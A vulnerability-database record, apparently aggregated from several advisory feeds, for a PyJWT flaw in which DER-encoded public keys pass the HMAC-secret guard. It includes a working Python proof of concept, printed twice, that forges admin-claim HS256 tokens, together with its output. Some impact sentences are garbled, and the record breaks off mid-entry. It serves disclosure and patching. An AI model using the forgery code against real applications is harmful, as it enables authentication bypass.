{"id":"CVE-2026-102271","aliases":["ALSA-2026:94500","ALSA-2026:94501","AZL-105221","BELL-CVE-2026-102271","CLSA-2026-1790839846","CLSA-2026-1790843991","CLSA-2026-1793607290","CLSA-2026-1793700313","DEBIAN-CVE-2026-102271","EUVD-2026-88539","GHSA-p4g4-x82p-q773","OESA-2026-4384","OESA-2026-4385","OESA-2026-4386","OESA-2026-4387","PYSEC-2026-4149","RLSA-2026:94500","RLSA-2026:94501","ROOT-APP-PYPI-CVE-2026-102271","SUSE-SU-2026:24126-1","SUSE-SU-2026:24134-1","SUSE-SU-2026:24219-1","SUSE-SU-2026:24377-1","SUSE-SU-2026:5064-1","UBUNTU-CVE-2026-102271","USN-8916-1","USN-8916-2","openSUSE-SU-2026:22074-1"],"status":"published","title":"PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard","description":"PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. 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Notes","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102271","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-p4g4-x82p-q773","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:94500","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-102266","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-102267","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-102268","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-102271","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-102272","tags":["report"]},{"url":"https://bugzilla.redhat.com/2542671","tags":["report"]},{"url":"https://bugzilla.redhat.com/2542685","tags":["report"]},{"url":"https://bugzilla.redhat.com/2542687","tags":["report"]},{"url":"https://bugzilla.redhat.com/2542690","tags":["report"]},{"url":"https://bugzilla.redhat.com/2542695","tags":["report"]},{"url":"https://errata.almalinux.org/9/ALSA-2026-94500.html","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:94501","tags":["advisory"]},{"url":"https://errata.almalinux.org/10/ALSA-2026-94501.html","tags":["advisory"]},{"url":"https://docs.bell-sw.com/security/cves/CVE-2026-102271","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102271.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-102271","tags":["advisory"]},{"url":"https://github.com/jpadilla/pyjwt","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4384","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102267","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102268","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4385","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4386","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-4387","tags":["advisory"]},{"url":"https://pypi.org/project/pyjwt","tags":["package"]},{"url":"https://errata.rockylinux.org/RLSA-2026:94500","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542671","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542685","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542687","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542690","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542695","tags":["report"]},{"url":"https://errata.rockylinux.org/RLSA-2026:94501","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624126-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1283060","tags":["report"]},{"url":"https://bugzilla.suse.com/1283061","tags":["report"]},{"url":"https://bugzilla.suse.com/1283064","tags":["report"]},{"url":"https://bugzilla.suse.com/1283065","tags":["report"]},{"url":"https://bugzilla.suse.com/1283066","tags":["report"]},{"url":"https://bugzilla.suse.com/1283067","tags":["report"]},{"url":"https://bugzilla.suse.com/1283068","tags":["report"]},{"url":"https://bugzilla.suse.com/1283071","tags":["report"]},{"url":"https://bugzilla.suse.com/1283072","tags":["report"]},{"url":"https://bugzilla.suse.com/1283829","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-101917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-101918","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102267","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102268","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102269","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102270","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102271","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102274","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-102275","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-103001","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624134-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624219-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624377-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20265064-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-102271","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-102271","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8916-2","tags":["advisory"]},{"url":"https://ubuntu.com/security/notices/USN-8916-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-102266","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-102267","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-102268","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-102272","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-102273","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-102271","title":"PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard","description":"PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T20:31:53.066Z","modified":"2026-10-01T14:57:42.294Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T13:38:43.260938Z"}],"euvd":[{"id":"EUVD-2026-88539","description":"PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T20:31:53Z","modified":"2026-10-01T14:57:42Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T17:27:45.695512Z"}],"ghsa":[{"id":"GHSA-p4g4-x82p-q773","title":"PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard","description":"### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key's own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {'user': 'admin', 'role': 'admin'}\nDER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","status":"published","published":"2026-09-29T23:14:33Z","modified":"2026-09-29T23:14:34Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:41:22.654187Z"}],"nvd":[{"id":"CVE-2026-102271","description":"PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T21:17:15.11Z","modified":"2026-10-06T18:36:16.047Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:12:52.413234Z"}],"osv":[{"id":"BELL-CVE-2026-102271","status":"published","published":"2026-10-01T06:08:33.34992Z","modified":"2026-11-07T07:15:05.006049211Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-07T07:40:27.39378Z"},{"id":"CVE-2026-102271","title":"PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard","description":"PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T20:31:53.066Z","modified":"2026-11-04T16:57:06.358911192Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-04T17:11:08.071099Z"},{"id":"DEBIAN-CVE-2026-102271","description":"PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T21:17:15.11Z","modified":"2026-10-07T09:47:37.668720888Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:48.440897Z"},{"id":"GHSA-p4g4-x82p-q773","title":"PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard","description":"### Summary\n\n`HMACAlgorithm.prepare_key` blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for `-----BEGIN` and for an `ssh-` prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.\n\nAn application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.\n\nThe reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.\n\n### Details\n\nThe guard is at `jwt/algorithms.py:331`:\n\n```python\nif is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n    raise InvalidKeyError(\n        \"The specified key is an asymmetric key or x509 certificate and\"\n        \" should not be used as an HMAC secret.\"\n    )\n```\n\nBoth helpers are text matchers. Neither one parses the key.\n\n- `jwt/utils.py:126`, `is_pem_format`, runs a regex for `----[- ]BEGIN ...----`.\n- `jwt/utils.py:141`, `is_ssh_key`, checks `startswith` against a list of `ssh-` and `ecdsa-sha2-` prefixes.\n\nA DER encoded public key starts with the bytes `0x30 0x82`. It matches neither, so `prepare_key` returns it unchanged and it becomes the HMAC secret.\n\nThere is no DER handling anywhere in the package. `grep -rni \"\\bDER\\b|load_der\" jwt/ tests/` returns nothing.\n\nThis affects three encodings that are all blocked in their PEM form today:\n\n- DER SubjectPublicKeyInfo\n- DER PKCS#1\n- DER encoded X.509 certificate\n\nHistory of this guard:\n\n- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key's own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {'user': 'admin', 'role': 'admin'}\nDER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","status":"published","published":"2026-09-29T23:14:33Z","modified":"2026-10-01T17:55:49.051187883Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:52.534897Z"},{"id":"OESA-2026-4384","title":"python-jwt security update","description":"setup.py test %endif\r\n\r\nSecurity Fix(es):\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)","status":"published","published":"2026-10-16T12:00:01Z","modified":"2026-10-16T12:15:11.69185446Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"OESA-2026-4385","title":"python-jwt security update","description":"setup.py test %endif\r\n\r\nSecurity Fix(es):\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)","status":"published","published":"2026-10-16T12:00:01Z","modified":"2026-10-16T12:15:11.183383808Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"OESA-2026-4386","title":"python-jwt security update","description":"setup.py test %endif\r\n\r\nSecurity Fix(es):\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)","status":"published","published":"2026-10-16T12:00:02Z","modified":"2026-10-16T12:15:13.59538422Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"OESA-2026-4387","title":"python-jwt security update","description":"setup.py test %endif\r\n\r\nSecurity Fix(es):\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because 